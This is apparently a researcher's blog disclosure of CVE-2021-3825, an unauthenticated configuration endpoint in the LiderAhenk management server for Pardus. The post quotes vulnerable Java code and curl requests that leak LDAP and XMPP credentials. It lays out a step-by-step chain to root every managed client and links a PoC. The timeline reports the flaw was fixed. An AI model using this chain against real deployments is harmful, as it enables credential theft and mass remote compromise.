LiderAhenk 0day – All your PARDUS Clients Belongs To Me (CVE-2021-3825)

LiderAhenk is an open source software system that enables centralized management, monitoring and control of systems and users on the corporate network.

In this blog post, you will see how bad it can get when you have a critical security vulnerability on your centralized client management system.

Architecture and Our Target

LiderAhenk software has 2 component. Lider and Ahenk.

Lider is the main component where you manage your organization. It is the business layer of Lider Ahenk project running on Karaf container. It contains core functionalities (such as LDAP client, task manager, XMPP client), core services (such as plugin DB service, log service) and provides an API for other plug-ins/bundles.

Ahenk is a Linux agent written in Python which enables Lider to manage & monitor clients remotely.

Communication between Ahenk agent and Lider server is done by XMPP service. Whenever the Lider centralized management server wants to communicate with Ahenk, such as installing a package on a remote client, Ahenk will receive the message over XMPP and execute the task.

So all of these means we must target Lider component for organization level of access. If we somehow find a way to break in the Lider service, we can abuse features of the centralized client management system such as remote deployment, etc.

Vulnerability Analysis

After our initial analysis, we have seen that Lider has multiple attack surfaces. One of the obvious one was HTTP service where we have huge Java application.

I’ve spent a couple of hours understanding the whole architecture. When I had enough information about the design of the Java project and the way it gets interactions with other services, I started to offensive source-code reviewing.

One of my starting points is to see what kind of services are accessible without having sessions. The following code sections show routes that we can access without credentials.

  protected void configure(HttpSecurity http) throws Exception {
    ((HttpSecurity)((HttpSecurity)((FormLoginConfigurer)((FormLoginConfigurer)((HttpSecurity)((ExpressionUrlAuthorizationConfigurer.AuthorizedUrl)((ExpressionUrlAuthorizationConfigurer.AuthorizedUrl)((ExpressionUrlAuthorizationConfigurer.AuthorizedUrl)((HttpSecurity)http
      .csrf().disable())
      .authorizeRequests()
      .antMatchers(new String[] { 
          "/forgot_password/**", "/lider/pages/**", "/webfonts/**", "/resources/**", "/css/**", "/js/**", "/assets/**", "/img/**", "/images/**", "/jqwidgets/**", 
          "/lider/config/**" })).permitAll()
      .antMatchers(new String[] { "/" })).hasAnyRole(new String[] { "USER" }).anyRequest()).authenticated()
      .and())
      .formLogin()
      .loginPage("/login").permitAll())
      .successHandler(this.authenticationSuccessHandler))
      .and())
      .logout()
      .addLogoutHandler(logoutHandler())
      .invalidateHttpSession(true)
      .deleteCookies(new String[] { "JSESSIONID" }).clearAuthentication(true)
      .permitAll()
      .and())
      .exceptionHandling();
  }

You should have seen it what I saw at the first glance. Wtf is /lider/config/** and why is it in the permitAll() list?

➜  MDISEC curl http:/192.168.179.134:8080/lider/config/

{"timestamp":"2021-09-21T08:35:30.832+0000","status":404,"error":"Not Found","message":"No message available","path":"/lider/config/"}

As you can see above, the Initial attempt to find more information through the black-box approach didn’t work very well. For that reason, I’ve focused on the following code section where corresponding class is placed.

@RequestMapping({"/lider/config"})
public class ConfigController {
  Logger logger = LoggerFactory.getLogger(tr.org.lider.controllers.ConfigController.class);
  
  @Autowired
  ConfigurationService configurationService;
  
  @Autowired
  LDAPServiceImpl ldapService;
  
  @RequestMapping(method = {RequestMethod.POST}, value = {"/save"}, produces = {"application/json"})
  public Boolean saveConfigParams(ConfigParams configParams) throws Exception {
    if (this.configurationService.isConfigurationDone().booleanValue())
      return null; 
    configParams.setDefaultParams();
    try {
      ObjectMapper mapper = new ObjectMapper();
      String jsonString = mapper.writeValueAsString(configParams);
      this.configurationService.save(new ConfigImpl("liderConfigParams", jsonString));
      this.logger.info("Configuration settings are completed and saved to database.");
      return Boolean.valueOf(true);
    } catch (JsonProcessingException e) {
      e.printStackTrace();
      this.logger.error("Error occured while converting ConfigParams object to json string: " + e.getMessage());
      return Boolean.valueOf(false);
    } 
  }
  
  @RequestMapping(method = {RequestMethod.GET}, value = {"/configurations"}, produces = {"application/json"})
  public ConfigParams getConfigParams() {
    return this.configurationService.getConfigParams();
  }
}

I do remember the moment when I’ve seen that code. Specially the line between 29-32.

We’ve found what we needed ! An endpoint where the application expose that Lider configurations. And (un)fortunately, it does NOT require a valid session.

➜  MDISEC curl http://192.168.179.134:8080/lider/config/configurations | jq

{
  "liderLocale": "tr",
  "ldapServer": "192.168.179.134",
  "ldapPort": "389",
  "ldapUsername": "cn=admin,dc=liderahenk,dc=org",
  "ldapPassword": "qwe123",
  "ldapRootDn": "dc=liderahenk,dc=org",
  "ldapUseSsl": false,
  "ldapSearchAttributes": "cn,objectClass,uid,liderPrivilege",
  "ldapAllowSelfSignedCert": false,
  "ldapMailNotifierAttributes": "cn, mail, departmentNumber, uid",
  "ldapEmailAttribute": "mail",
  "agentLdapBaseDn": "ou=Agents,dc=liderahenk,dc=org",
  "agentLdapIdAttribute": "cn",
  "agentLdapJidAttribute": "uid",
  "agentLdapObjectClasses": "pardusDevice,device",
  "userLdapBaseDn": "ou=Users,dc=liderahenk,dc=org",
  "userLdapUidAttribute": "uid",
  "userLdapPrivilegeAttribute": "liderPrivilege",
  "userLdapObjectClasses": "pardusAccount,pardusLider",
  "userAuthorizationEnabled": true,
  "groupLdapObjectClasses": "groupOfNames",
  "roleLdapObjectClasses": "sudoRole",
  "userLdapRolesDn": "ou=Role,ou=Groups,dc=liderahenk,dc=org",
  "groupLdapBaseDn": "ou=Groups,dc=liderahenk,dc=org",
  "userGroupLdapBaseDn": "ou=User,ou=Groups,dc=liderahenk,dc=org",
  "ahenkGroupLdapBaseDn": "ou=Agent,ou=Groups,dc=liderahenk,dc=org",
  "xmppHost": "127.0.0.1",
  "xmppPort": 5222,
  "xmppUsername": "lider_sunucu",
  "xmppPassword": "qwe123",
  "xmppResource": "Smack",
  "xmppServiceName": "im.liderahenk.org",
  "xmppMaxRetryConnectionCount": 5,

Exploitation Plan & PoC

Here is the plan !

  1. Exploit the vulnerability and get LDAP credentials
  2. Validate these credentials against the LDAP service, which is running on the Lider server.
  3. Fetch LDAP users who have ROLE_ADMIN attribute. Passwords are stored as plain-text on the LDAP 🙂
  4. Login to the Lider console service.
  5. Fetch the active Pardus computers from API.
  6. Abuse ‘remote script execution on Machine’ feature of the Lider.
  7. Get ROOT shell from every single machine connected to the Lider centralized management software.

Following video shows fully automated exploitation steps.

PoC code:

https://github.com/mdisec/pardus-liderahenk-0day-RCE

Timeline

17 Sep 2021 13:33 GMT+3 – Vulnerability detected.

17 Sep 2021 15:33 GMT+3 – Report to the Pardus team.

17 Sep 2021 16:17 GMT+3 – Pardus fixed the vulnerability.

21 Sep 2021 – Public PoC release.

Mehmet Ince

Master Ninja @ Prodaft / INVICTUS Europe.